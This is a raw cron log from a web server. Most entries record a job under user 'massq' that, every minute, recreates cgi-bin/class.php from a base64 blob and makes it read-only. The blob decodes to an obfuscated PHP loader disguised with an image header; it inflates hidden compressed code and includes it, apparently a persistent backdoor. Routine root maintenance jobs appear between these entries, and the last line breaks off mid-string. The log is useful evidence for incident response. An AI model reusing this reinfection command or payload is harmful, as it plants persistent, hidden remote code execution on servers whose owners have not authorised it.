Apr 10 07:42:01 server CROND[19817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:43:01 server CROND[19877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:44:01 server CROND[20035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:45:02 server CROND[20104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:45:02 server CROND[20105]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:45:02 server CROND[20106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:46:01 server CROND[20220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:47:01 server CROND[20291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:48:01 server CROND[20355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:49:01 server CROND[20420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:50:01 server CROND[20577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:50:01 server CROND[20578]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 07:50:01 server CROND[20581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:50:01 server CROND[20580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 07:50:01 server CROND[20582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:51:01 server CROND[20726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:52:01 server CROND[20793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:53:01 server CROND[20852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:54:01 server CROND[20905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:55:01 server CROND[21059]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:55:01 server CROND[21060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:55:01 server CROND[21061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK